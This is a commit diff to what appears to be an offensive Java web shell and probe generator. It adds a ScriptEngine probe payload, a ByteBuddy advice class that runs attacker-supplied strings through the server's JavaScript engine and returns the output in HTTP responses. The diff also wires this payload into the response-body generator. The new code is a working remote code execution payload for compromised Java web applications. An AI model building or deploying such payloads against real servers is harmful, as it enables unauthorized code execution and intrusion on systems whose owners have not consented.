feat: support script engine probe

generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java

@@ -10,5 +10,6 @@ public enum ProbeContent {
     JDK,
     Bytecode,
     Command,
-    BasicInfo
+    BasicInfo,
+    ScriptEngine
 }

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

@@ -9,6 +9,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
 import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
 import com.reajason.javaweb.probe.payload.ByteCodeProbe;
 import com.reajason.javaweb.probe.payload.CommandProbe;
+import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
 import com.reajason.javaweb.probe.payload.response.*;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.ByteBuddy;
@@ -51,6 +52,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
                 return CommandProbe.class;
             case Bytecode:
                 return ByteCodeProbe.class;
+            case ScriptEngine:
+                return ScriptEngineProbe.class;
             default:
                 throw new GenerationException("responseBody not supported for probe content: " + probeConfig.getProbeContent());
         }

generator/src/main/java/com/reajason/javaweb/probe/payload/ScriptEngineProbe.java

@@ -0,0 +1,34 @@
+package com.reajason.javaweb.probe.payload;
+
+import lombok.SneakyThrows;
+import net.bytebuddy.asm.Advice;
+
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/18
+ */
+public class ScriptEngineProbe {
+    private final String script;
+
+    public ScriptEngineProbe(String script) {
+        this.script = script;
+    }
+
+    @Advice.OnMethodExit
+    public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
+        ScriptEngine js = new ScriptEngineManager().getEngineByName("js");
+        if (js == null) {
+            return ret = "js engine is null";
+        }
+        return ret = js.eval(data).toString();
+    }
+
+    @Override
+    @SneakyThrows
+    public String toString() {
+        return ScriptEngineProbe.exit(script, super.toString());
+    }
+}